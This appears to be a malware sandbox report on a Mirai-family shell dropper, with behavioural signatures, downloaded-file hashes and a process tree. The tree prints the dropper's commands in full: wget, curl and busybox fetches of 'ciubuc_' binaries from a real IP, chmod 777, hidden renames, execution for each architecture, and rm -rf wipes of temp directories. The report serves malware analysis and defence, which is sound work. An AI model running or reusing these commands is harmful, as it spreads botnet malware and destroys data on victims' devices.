Analysis

  • max time kernel
    132s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/04/2026, 05:10

General

  • Target
    _fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
  • Size 4KB
  • Sample260418-ftvm8ag19z
  • SHA256 fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (142328) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Traces itself 3 IoCs

    Traces itself to prevent debugging attempts

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 11 IoCs

    Adversaries may gather information about the network configuration of a system.

Processes

  • /tmp/_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
    /tmp/_fe4df230c3150493480c4bce739ef4c7c1c8aaa35b3f09ccf1b5aacad49aab05.sh
    1⤵
    • Executes dropped EXE
    PID:652
    • /bin/rm
      rm -rf /var/tmp/systemd-private-e0e08b79697546a08c2a0adc398d5399-systemd-timedated.service-KCzqTi
      2⤵
        PID:659
      • /bin/rm
        rm -rf "/var/tmp/*"
        2⤵
          PID:663
        • /bin/rm
          rm -rf /tmp/. /tmp/.. /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix
          2⤵
            PID:667
          • /bin/rm
            rm -rf /tmp/. /tmp/..
            2⤵
              PID:670
            • /bin/rm
              rm -f .perm_test
              2⤵
                PID:677
              • /usr/bin/wget
                wget -q 43.228.157.130/static/ciubuc_x86
                2⤵
                  PID:679
                • /usr/bin/curl
                  curl -s -L -O 43.228.157.130/static/ciubuc_x86
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  PID:686
                • /bin/busybox
                  busybox wget http://43.228.157.130/static/ciubuc_x86
                  2⤵
                    PID:687
                  • /bin/chmod
                    chmod 777 ciubuc_x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:688
                  • /bin/mv
                    mv ciubuc_x86 .x86
                    2⤵
                    • Reads runtime system information
                    PID:689
                  • /bin/grep
                    grep "Who loves the sun"
                    2⤵
                      PID:691
                    • /var/tmp/.x86
                      ./.x86 x86_64
                      2⤵
                        PID:690
                      • /usr/bin/wget
                        wget -q 43.228.157.130/static/ciubuc_aarch64
                        2⤵
                          PID:695
                        • /usr/bin/curl
                          curl -s -L -O 43.228.157.130/static/ciubuc_aarch64
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          PID:716
                        • /bin/busybox
                          busybox wget http://43.228.157.130/static/ciubuc_aarch64
                          2⤵
                            PID:739
                          • /bin/chmod
                            chmod 777 ciubuc_aarch64
                            2⤵
                            • File and Directory Permissions Modification
                            PID:741
                          • /bin/mv
                            mv ciubuc_aarch64 .aarch64
                            2⤵
                            • Reads runtime system information
                            PID:742
                          • /bin/grep
                            grep "Who loves the sun"
                            2⤵
                              PID:744
                            • /var/tmp/.aarch64
                              ./.aarch64 aarch64
                              2⤵
                                PID:743
                              • /usr/bin/wget
                                wget -q 43.228.157.130/static/ciubuc_arm
                                2⤵
                                  PID:746
                                • /usr/bin/curl
                                  curl -s -L -O 43.228.157.130/static/ciubuc_arm
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  PID:747
                                • /bin/busybox
                                  busybox wget http://43.228.157.130/static/ciubuc_arm
                                  2⤵
                                    PID:759
                                  • /bin/chmod
                                    chmod 777 ciubuc_arm
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:767
                                  • /bin/mv
                                    mv ciubuc_arm .arm
                                    2⤵
                                    • Reads runtime system information
                                    PID:768
                                  • /bin/grep
                                    grep "Who loves the sun"
                                    2⤵
                                      PID:771
                                    • /var/tmp/.arm
                                      ./.arm armv4
                                      2⤵
                                      • Deletes itself
                                      • Modifies Watchdog functionality
                                      • Traces itself
                                      • Changes its process name
                                      • Reads runtime system information
                                      PID:770
                                    • /usr/bin/wget
                                      wget -q 43.228.157.130/static/ciubuc_arm5
                                      2⤵
                                        PID:775
                                      • /usr/bin/curl
                                        curl -s -L -O 43.228.157.130/static/ciubuc_arm5
                                        2⤵
                                          PID:784
                                        • /bin/busybox
                                          busybox wget http://43.228.157.130/static/ciubuc_arm5
                                          2⤵
                                            PID:786
                                          • /bin/chmod
                                            chmod 777 ciubuc_arm5
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:787
                                          • /bin/mv
                                            mv ciubuc_arm5 .arm5
                                            2⤵
                                            • Reads runtime system information
                                            PID:788
                                          • /var/tmp/.arm5
                                            ./.arm5 armv5
                                            2⤵
                                              PID:791
                                            • /bin/grep
                                              grep "Who loves the sun"
                                              2⤵
                                                PID:792
                                              • /usr/bin/wget
                                                wget -q 43.228.157.130/static/ciubuc_arm6
                                                2⤵
                                                  PID:795
                                                • /usr/bin/curl
                                                  curl -s -L -O 43.228.157.130/static/ciubuc_arm6
                                                  2⤵
                                                    PID:796
                                                  • /bin/busybox
                                                    busybox wget http://43.228.157.130/static/ciubuc_arm6
                                                    2⤵
                                                      PID:797
                                                    • /bin/chmod
                                                      chmod 777 ciubuc_arm6
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:798
                                                    • /bin/mv
                                                      mv ciubuc_arm6 .arm6
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:801
                                                    • /var/tmp/.arm6
                                                      ./.arm6 armv6
                                                      2⤵
                                                        PID:802
                                                      • /bin/grep
                                                        grep "Who loves the sun"
                                                        2⤵
                                                          PID:803
                                                        • /usr/bin/wget
                                                          wget -q 43.228.157.130/static/ciubuc_arm7
                                                          2⤵
                                                            PID:804
                                                          • /usr/bin/curl
                                                            curl -s -L -O 43.228.157.130/static/ciubuc_arm7
                                                            2⤵
                                                              PID:805
                                                            • /bin/busybox
                                                              busybox wget http://43.228.157.130/static/ciubuc_arm7
                                                              2⤵
                                                                PID:806
                                                              • /bin/chmod
                                                                chmod 777 ciubuc_arm7
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:807
                                                              • /bin/mv
                                                                mv ciubuc_arm7 .arm7
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:808
                                                              • /var/tmp/.arm7
                                                                ./.arm7 armv7
                                                                2⤵
                                                                  PID:809
                                                                • /bin/grep
                                                                  grep "Who loves the sun"
                                                                  2⤵
                                                                    PID:810
                                                                  • /usr/bin/wget
                                                                    wget -q 43.228.157.130/static/ciubuc_i486
                                                                    2⤵
                                                                      PID:811
                                                                    • /usr/bin/curl
                                                                      curl -s -L -O 43.228.157.130/static/ciubuc_i486
                                                                      2⤵
                                                                        PID:812
                                                                      • /bin/busybox
                                                                        busybox wget http://43.228.157.130/static/ciubuc_i486
                                                                        2⤵
                                                                          PID:813
                                                                        • /bin/chmod
                                                                          chmod 777 ciubuc_i486
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:814
                                                                        • /bin/mv
                                                                          mv ciubuc_i486 .i486
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:815
                                                                        • /var/tmp/.i486
                                                                          ./.i486 i486
                                                                          2⤵
                                                                            PID:816
                                                                          • /bin/grep
                                                                            grep "Who loves the sun"
                                                                            2⤵
                                                                              PID:817
                                                                            • /usr/bin/wget
                                                                              wget -q 43.228.157.130/static/ciubuc_i586
                                                                              2⤵
                                                                                PID:818
                                                                              • /usr/bin/curl
                                                                                curl -s -L -O 43.228.157.130/static/ciubuc_i586
                                                                                2⤵
                                                                                  PID:819
                                                                                • /bin/busybox
                                                                                  busybox wget http://43.228.157.130/static/ciubuc_i586
                                                                                  2⤵
                                                                                    PID:820
                                                                                  • /bin/chmod
                                                                                    chmod 777 ciubuc_i586
                                                                                    2⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:821
                                                                                  • /bin/mv
                                                                                    mv ciubuc_i586 .i586
                                                                                    2⤵
                                                                                    • Reads runtime system information
                                                                                    PID:822
                                                                                  • /bin/grep
                                                                                    grep "Who loves the sun"
                                                                                    2⤵
                                                                                      PID:824
                                                                                    • /var/tmp/.i586
                                                                                      ./.i586 i586
                                                                                      2⤵
                                                                                        PID:823
                                                                                      • /usr/bin/wget
                                                                                        wget -q 43.228.157.130/static/ciubuc_i686
                                                                                        2⤵
                                                                                          PID:825
                                                                                        • /usr/bin/curl
                                                                                          curl -s -L -O 43.228.157.130/static/ciubuc_i686
                                                                                          2⤵
                                                                                            PID:826
                                                                                          • /bin/busybox
                                                                                            busybox wget http://43.228.157.130/static/ciubuc_i686
                                                                                            2⤵
                                                                                              PID:827
                                                                                            • /bin/chmod
                                                                                              chmod 777 ciubuc_i686
                                                                                              2⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:828
                                                                                            • /bin/mv
                                                                                              mv ciubuc_i686 .i686
                                                                                              2⤵
                                                                                              • Reads runtime system information
                                                                                              PID:829
                                                                                            • /var/tmp/.i686
                                                                                              ./.i686 i686
                                                                                              2⤵
                                                                                                PID:830
                                                                                              • /bin/grep
                                                                                                grep "Who loves the sun"
                                                                                                2⤵
                                                                                                  PID:831
                                                                                                • /usr/bin/wget
                                                                                                  wget -q 43.228.157.130/static/ciubuc_m68k
                                                                                                  2⤵
                                                                                                    PID:832
                                                                                                  • /usr/bin/curl
                                                                                                    curl -s -L -O 43.228.157.130/static/ciubuc_m68k
                                                                                                    2⤵
                                                                                                      PID:833
                                                                                                    • /bin/busybox
                                                                                                      busybox wget http://43.228.157.130/static/ciubuc_m68k
                                                                                                      2⤵
                                                                                                        PID:834
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 ciubuc_m68k
                                                                                                        2⤵
                                                                                                        • File and Directory Permissions Modification
                                                                                                        PID:835
                                                                                                      • /bin/mv
                                                                                                        mv ciubuc_m68k .m68k
                                                                                                        2⤵
                                                                                                          PID:836
                                                                                                        • /var/tmp/.m68k
                                                                                                          ./.m68k m68k
                                                                                                          2⤵
                                                                                                            PID:837
                                                                                                          • /bin/grep
                                                                                                            grep "Who loves the sun"
                                                                                                            2⤵
                                                                                                              PID:838
                                                                                                            • /usr/bin/wget
                                                                                                              wget -q 43.228.157.130/static/ciubuc_mips
                                                                                                              2⤵
                                                                                                              • System Network Configuration Discovery
                                                                                                              PID:839
                                                                                                            • /usr/bin/curl
                                                                                                              curl -s -L -O 43.228.157.130/static/ciubuc_mips
                                                                                                              2⤵
                                                                                                              • System Network Configuration Discovery
                                                                                                              PID:840
                                                                                                            • /bin/busybox
                                                                                                              busybox wget http://43.228.157.130/static/ciubuc_mips
                                                                                                              2⤵
                                                                                                              • System Network Configuration Discovery
                                                                                                              PID:841
                                                                                                            • /bin/chmod
                                                                                                              chmod 777 ciubuc_mips
                                                                                                              2⤵
                                                                                                              • File and Directory Permissions Modification
                                                                                                              PID:842
                                                                                                            • /bin/mv
                                                                                                              mv ciubuc_mips .mips
                                                                                                              2⤵
                                                                                                              • Reads runtime system information
                                                                                                              • System Network Configuration Discovery
                                                                                                              PID:843
                                                                                                            • /bin/grep
                                                                                                              grep "Who loves the sun"
                                                                                                              2⤵
                                                                                                                PID:845
                                                                                                              • /var/tmp/.mips
                                                                                                                ./.mips mips
                                                                                                                2⤵
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:844
                                                                                                              • /usr/bin/wget
                                                                                                                wget -q 43.228.157.130/static/ciubuc_mips64
                                                                                                                2⤵
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:846
                                                                                                              • /usr/bin/curl
                                                                                                                curl -s -L -O 43.228.157.130/static/ciubuc_mips64
                                                                                                                2⤵
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:847
                                                                                                              • /bin/busybox
                                                                                                                busybox wget http://43.228.157.130/static/ciubuc_mips64
                                                                                                                2⤵
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:848
                                                                                                              • /bin/chmod
                                                                                                                chmod 777 ciubuc_mips64
                                                                                                                2⤵
                                                                                                                • File and Directory Permissions Modification
                                                                                                                PID:849
                                                                                                              • /bin/mv
                                                                                                                mv ciubuc_mips64 .mips64
                                                                                                                2⤵
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:850
                                                                                                              • /var/tmp/.mips64
                                                                                                                ./.mips64 mips64
                                                                                                                2⤵
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:851
                                                                                                              • /bin/grep
                                                                                                                grep "Who loves the sun"
                                                                                                                2⤵
                                                                                                                  PID:852
                                                                                                                • /usr/bin/wget
                                                                                                                  wget -q 43.228.157.130/static/ciubuc_mpsl
                                                                                                                  2⤵
                                                                                                                    PID:853
                                                                                                                  • /usr/bin/curl
                                                                                                                    curl -s -L -O 43.228.157.130/static/ciubuc_mpsl
                                                                                                                    2⤵
                                                                                                                      PID:854
                                                                                                                    • /bin/busybox
                                                                                                                      busybox wget http://43.228.157.130/static/ciubuc_mpsl
                                                                                                                      2⤵
                                                                                                                        PID:855
                                                                                                                      • /bin/chmod
                                                                                                                        chmod 777 ciubuc_mpsl
                                                                                                                        2⤵
                                                                                                                        • File and Directory Permissions Modification
                                                                                                                        PID:856
                                                                                                                      • /bin/mv
                                                                                                                        mv ciubuc_mpsl .mpsl
                                                                                                                        2⤵
                                                                                                                        • Reads runtime system information
                                                                                                                        PID:857
                                                                                                                      • /var/tmp/.mpsl
                                                                                                                        ./.mpsl mipsel
                                                                                                                        2⤵
                                                                                                                        • System Network Configuration Discovery
                                                                                                                        PID:858
                                                                                                                      • /bin/grep
                                                                                                                        grep "Who loves the sun"
                                                                                                                        2⤵
                                                                                                                          PID:859
                                                                                                                        • /usr/bin/wget
                                                                                                                          wget -q 43.228.157.130/static/ciubuc_ppc
                                                                                                                          2⤵
                                                                                                                            PID:860
                                                                                                                          • /usr/bin/curl
                                                                                                                            curl -s -L -O 43.228.157.130/static/ciubuc_ppc
                                                                                                                            2⤵
                                                                                                                              PID:861
                                                                                                                            • /bin/busybox
                                                                                                                              busybox wget http://43.228.157.130/static/ciubuc_ppc
                                                                                                                              2⤵
                                                                                                                                PID:862
                                                                                                                              • /bin/chmod
                                                                                                                                chmod 777 ciubuc_ppc
                                                                                                                                2⤵
                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                PID:863
                                                                                                                              • /bin/mv
                                                                                                                                mv ciubuc_ppc .ppc
                                                                                                                                2⤵
                                                                                                                                • Reads runtime system information
                                                                                                                                PID:864
                                                                                                                              • /var/tmp/.ppc
                                                                                                                                ./.ppc powerpc
                                                                                                                                2⤵
                                                                                                                                  PID:865
                                                                                                                                • /bin/grep
                                                                                                                                  grep "Who loves the sun"
                                                                                                                                  2⤵
                                                                                                                                    PID:866
                                                                                                                                  • /usr/bin/wget
                                                                                                                                    wget -q 43.228.157.130/static/ciubuc_sh4
                                                                                                                                    2⤵
                                                                                                                                      PID:867
                                                                                                                                    • /usr/bin/curl
                                                                                                                                      curl -s -L -O 43.228.157.130/static/ciubuc_sh4
                                                                                                                                      2⤵
                                                                                                                                        PID:868
                                                                                                                                      • /bin/busybox
                                                                                                                                        busybox wget http://43.228.157.130/static/ciubuc_sh4
                                                                                                                                        2⤵
                                                                                                                                          PID:869
                                                                                                                                        • /bin/chmod
                                                                                                                                          chmod 777 ciubuc_sh4
                                                                                                                                          2⤵
                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                          PID:870
                                                                                                                                        • /bin/mv
                                                                                                                                          mv ciubuc_sh4 .sh4
                                                                                                                                          2⤵
                                                                                                                                            PID:871
                                                                                                                                          • /bin/grep
                                                                                                                                            grep "Who loves the sun"
                                                                                                                                            2⤵
                                                                                                                                              PID:873
                                                                                                                                            • /var/tmp/.sh4
                                                                                                                                              ./.sh4 sh4
                                                                                                                                              2⤵
                                                                                                                                                PID:872
                                                                                                                                              • /usr/bin/wget
                                                                                                                                                wget -q 43.228.157.130/static/ciubuc_spc
                                                                                                                                                2⤵
                                                                                                                                                  PID:874
                                                                                                                                                • /usr/bin/curl
                                                                                                                                                  curl -s -L -O 43.228.157.130/static/ciubuc_spc
                                                                                                                                                  2⤵
                                                                                                                                                    PID:875
                                                                                                                                                  • /bin/busybox
                                                                                                                                                    busybox wget http://43.228.157.130/static/ciubuc_spc
                                                                                                                                                    2⤵
                                                                                                                                                      PID:876
                                                                                                                                                    • /bin/chmod
                                                                                                                                                      chmod 777 ciubuc_spc
                                                                                                                                                      2⤵
                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                      PID:877
                                                                                                                                                    • /bin/mv
                                                                                                                                                      mv ciubuc_spc .spc
                                                                                                                                                      2⤵
                                                                                                                                                      • Reads runtime system information
                                                                                                                                                      PID:878
                                                                                                                                                    • /bin/grep
                                                                                                                                                      grep "Who loves the sun"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:880
                                                                                                                                                      • /var/tmp/.spc
                                                                                                                                                        ./.spc sparc
                                                                                                                                                        2⤵
                                                                                                                                                          PID:879
                                                                                                                                                        • /bin/rm
                                                                                                                                                          rm -rf . .. .aarch64 .x86
                                                                                                                                                          2⤵
                                                                                                                                                            PID:881

                                                                                                                                                        Network

                                                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                                                              Replay Monitor

                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                              Downloads

                                                                                                                                                              ciubuc_aarch64

                                                                                                                                                              • Path /var/tmp/ciubuc_aarch64
                                                                                                                                                              • Size 2.4MB
                                                                                                                                                              • SHA256 53a3e89e1fa5415fc425ede158eb8bf69177f898956777486a3460282b595165
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                              ciubuc_arm

                                                                                                                                                              • Path /var/tmp/ciubuc_arm
                                                                                                                                                              • Size 2.4MB
                                                                                                                                                              • SHA256 ccf7a7b86d34aff9ec8b4655180d85a62c03d3db7979a00f2380255c7460446e
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                              ciubuc_x86

                                                                                                                                                              • Path /var/tmp/ciubuc_x86
                                                                                                                                                              • Size 2.3MB
                                                                                                                                                              • SHA256 47a6be407d3f7d633b396e32f3f9c11dec9c7e7761650bf1ca3d0ec51886ec11
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH